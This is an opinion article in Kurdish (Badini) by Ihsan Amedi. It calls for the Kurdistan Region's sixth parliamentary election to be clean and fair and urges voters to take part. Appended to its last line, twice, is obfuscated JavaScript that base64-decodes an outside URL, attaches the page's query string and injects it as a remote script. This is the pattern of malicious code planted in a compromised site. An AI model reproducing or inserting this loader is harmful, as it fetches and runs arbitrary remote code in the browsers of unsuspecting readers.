دڤێت هه‌لبژارتن یا پاقژ و بژین بیت
ئحسان ئامێدی
هه‌لبژارتنێن گشتی یێن گه‌ڕگه‌ڕی ستینه‌كا سیسته‌مێ حوكمڕانیا دیموكراتیه، د وان وه‌لاتێن ئه‌ڤ سیسته‌مێ حوكمرانیێ هه‌ی هه‌رده‌م ئازادیا راده‌ربرینێ و رێكخستنا سیاسی دابینكریه و ب ئاشتیانه ده‌ستهه‌لات دهێته ڤه‌گوهاستن و راده‌ستكرن.
ئه‌ڤ سیسته‌مێ حوكمرانیێ ده‌ربڕینێ ژ ئیراده‌یا گه‌لی دكهت و ئاسایش و قامگیریا سیاسی و جڤاكی جێگیردكه‌ت و خوشگوزه‌رانیێ دابین دكهت.
خۆشبه‌ختانه ل هه‌رێما كوردستانێ ل سه‌ر پێشنیار و ده‌ستپێشخه‌ریا سه‌رۆك بارزانی ئه‌ڤ سیسته‌مه هه‌لبژارتیه و كارپێكریه و ژ سالا ١٩٩٢ و هێرڤه به‌ده‌ومه و ئه‌ڤه گه‌ڕا شه‌شێ یه كو ل دویڤ بڕیاڕا سه‌رۆكێ هه‌رێما كوردستانێ دێ ل ٢٠٢٤/١٠/٢٠ هێنه كرن.
سیسته‌مێن هه‌لبژارتنان گه‌له‌كن و ده‌لیڤه‌یێن سه‌ختنێ ل هه‌میان هه‌نه، لێ یاسا و رینما و رێكار و دلسۆزیا به‌رپرسێن پرۆسه‌یا هه‌لبژارتنان بۆ هندێ نه دا ب رێكوپێك و پاقژ و بژین و ب زه‌لالی برێڤه بچیت و ره‌وایا خوه یا یاسایی ژ ملله‌تی وه‌رگریت و رێگریێ ل هه‌مبه‌ر سه‌خته‌كاریێ و زێده‌رویێ بگریت، لێ یا گرنگتر و ته‌واوكه‌را پرۆسه‌كا یاسایا پاك و بژین، پێگیری و دلسۆزی و نیازپاكی و ده‌ستپاكیا هێزێن سیاسی و به‌ربژار و ده‌نگده‌ران بخوه‌یه، كو دڤێت هه‌ڤكاربن دگه‌ل به‌رپرسێن هه‌لبژارتنان و هه‌ر ده‌نگده‌ره‌ك بزانیت ماف و ئه‌ركێن وی چنه ب زه‌لالی بكاربینیت و بزانیت وی بۆ هه‌ر گه‌ڕه‌كا هه‌لبژارتنان مافێ هه‌ی جاره‌كێ بچیت ده‌نگێ خوه بده‌ت.
هونه‌ر و زانست و ته‌كنولۆژیا پرۆسه‌یا هه‌لبژارتنا هاریكاره كو هه‌لبژارتن ب باشی و پاقژی بهێنه‌كرن و ئه‌نجام ژی ز دیارببن و بهێنه راگه‌هاندن، لێ د شیانادایه ده‌ستێوه‌ردانێ و سه‌رپێچیێ د ڤێ دا ژی بهێنه كرن، و د ڤێ ره‌وشێ دا دڤێت یاسا سه‌روه‌ر بیت و بهێته بجهئینان و هه‌ر ده‌ستێوه‌ردانه‌ك و سه‌رپێچیه‌ك بهێته رسواكرن و سزادان.
ل هنده‌ك وه‌لاتێن سیسته‌مێ حوكمرانیا وان دكتاتۆری و تاك حزبی، هه‌لبژارتنێن وێنه‌یی دهێنه‌كرن و ئه‌نجام پێشده‌م دیارن و ب رێژه‌یا ب ده‌ستڤه‌ئینانا سه‌د ژسه‌دێ دهێنه راگه‌هاندن، لێ ئه‌ڤه ناهێنه هژمارتن هه‌لبژارتنێن دیموكراتی و ده‌ڕبڕینێ ژ ئیراده‌یا گه‌ل ناكه‌ن!، هه‌لبژارتنێ دیموكراتی د سه‌قایه‌كێ ئازاد و فره‌لایهنی و ب هه‌بوون و پشكداریا كارا یا به‌هنگاریێ دهێنه‌كرن و ئه‌نجام دهێنه قه‌بوولكرن و ده‌ستهه‌لات ب ئاشتیانا دهێنه ڤه‌گوهاستن و راده‌ستكرن.
هه‌رێما كوردستانێ به‌ره‌ف گه‌را شه‌شێ یا هه‌لبژارتنا په‌رله‌مانێ كوردستانێ ڤه دچیت. ئه‌ڤ گه‌رێن هه‌لبژارتنان جوانیا هه‌رێما كوردستانێ و خه‌لكێ وێ و پرۆسه‌یا وێ یا سیاسی نیشادده‌ت، و پشته‌ڤانیا جه‌ماوه‌رێ ملله‌تی و جڤاكێ نیڤده‌وله‌تی ب ده‌ست بخوه‌ڤه دئینیت و ره‌وشه‌نبیریا دیموكراتیه‌تێ و هه‌لبژارتنان چێدكه‌ت و جێگیردكه‌ت و خه‌لكی هشیاردكه‌ت و هه‌ست ب گرنگی و بهایێ هه‌بوونا خوه دكهت و ژێیاتیا وی بۆ گه‌ل و وه‌لات و دامه‌زراوێن وێ خورت دكهت و گرۆتینه‌كی دئێخیته بزاڤ و چالاكیێن وی و گه‌شه‌بوونه‌كێ چێدكه‌ت.
ئه‌ڤجا بلا گه‌رێن هه‌لبژارتنێن گشتی د ده‌مێن خوه یێن یاسایى دا بهێنه‌كرن و هه‌رئێك ژ دامه‌زراو و پارت و لیسته و تاك ڤه خوه به‌رپرس بزانیت كو هه‌لبژارتن ل دویڤ یاسایێ و سیسته‌می و رێنمایان ب پاقژ و بژین برێڤه‌بچیت، پرۆسه‌یا هه‌لبژارتنان بێ ده‌ستێوه‌ردان و سه‌رپێچی و كێشه برێڤه بچیت دا ره‌وایا یاسایی بده‌ستخوه‌ڤه بینیت و سه‌ركه‌فتی بیت، ل ڤی ده‌می ملله‌ت یێ سه‌ركه‌فتیه و هه‌می لایه‌نێن نوونه‌راتیا للهتی دكه‌ن دێ دسه‌ركه‌فتی بن و دێ خوه ب خودانێن سه‌ركه‌فتنێ زانن و دێ كه‌شه‌ك ئارام و سه‌قامگیر چێبیت و گه‌شه‌كه‌ت.
ب گشتی ملله‌تی ده‌ستهه‌لاته‌ك دڤێت ده‌ڕبرینێ ژ پێدڤی و خواستێن وان بكه‌ت و خوه لێ بكه‌ته خودان و بشێت ئاسایشێ و سه‌قامگیریێ و خوشگوزه‌رانیێ بۆ دابین بكه‌ت و گه‌شه‌یێ پێ بكه‌ت.
ئه‌وا ژ ملله‌تی دهێته خواستن ب گشتی و ژ ده‌نگده‌ران ب تایبه‌تی، هه‌ست ب به‌رپرسیاریا خوه بكه‌ن و مافێ خوه بكاربینن و ئه‌ركێ خوه بجهبینن ب پشكداریه‌كا چالاك و كاڕا د هه‌وا پرۆسه‌یا هه‌لبژارتنێ و د ده‌نگدانێ دا بكه‌ن، ل هه‌وا پرۆسه‌یێ دا چالاكانه كاركه‌ت بۆ هاندان و رازیكرنا خه‌لكێ دی پشكداریێ د هه‌لبژارتنان دا بكه‌ن و یاسا و رینمایێن هه‌لبژارتنان بۆ رۆهن بكه‌ت و ل جهـ و ده‌مێن دیاركری دا ل بنگه‌هێ ده‌نگدانێ ئاماده‌بیت و ده‌نگێ خوه بده‌ت. و ل پرۆسه‌یا ده‌نگدانێدا ب هشیارانه ده‌ستنیشانا وێ لیستێ و وی به‌ربژاری بكه‌ت یێ دزانیت ئه‌ڤه دی باتر خزمه‌تا ئارمانجێن ملله‌تی و پێدڤیێن خه‌لكی كه‌ن.
هه‌لبژارتنێن گشتی ره‌وایا خوه ژ ملله‌تی وه‌ردگریت و هه‌رده‌م پێدڤیه رێژه‌یا پشكداریێ ژ نیڤا ده‌نگده‌ران پتر بیت، دا ره‌وایا خوه یا یاسایی وه‌گریت و نه‌هێته تانه‌لێدان. دا كو ئه‌ڤ رێژا پشكداریێ مسۆگه‌ربیت دڤێت خه‌لك ب ئه‌رك و مافێن وان د ڤێ پرۆسه‌یێ دا بهێته هشیاركرن، ل سه‌ر خودان لیست و به‌ربژارا و به‌ربژارا ب خوه ژی دكه‌ڤیت ب هه‌وه‌كا رێكخستیا جه‌ماوه‌ری رابن بۆ هاندانا خه‌لكی بۆ پشكداریێ د هه‌لبژارتنان دا و دانا ده‌نگی بۆ لیست و به‌ربژارێ ده‌ستنیشانكری.
یا پێدڤیه هه‌لبژرتن یا پاقژ و بژین بیت و ره‌وشه‌نبیریا هه‌لبژارتنان و پاقژیێ و بژینیێ بهێته به‌لاڤكرن و كارپێكرن دا سه‌رفرازیه‌ك بۆ تاكی و ملله‌تی تۆماربیت و پرۆسه ژی یا سه‌ركه‌فتی بیت و ره‌وایا خوه وه‌رگریت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
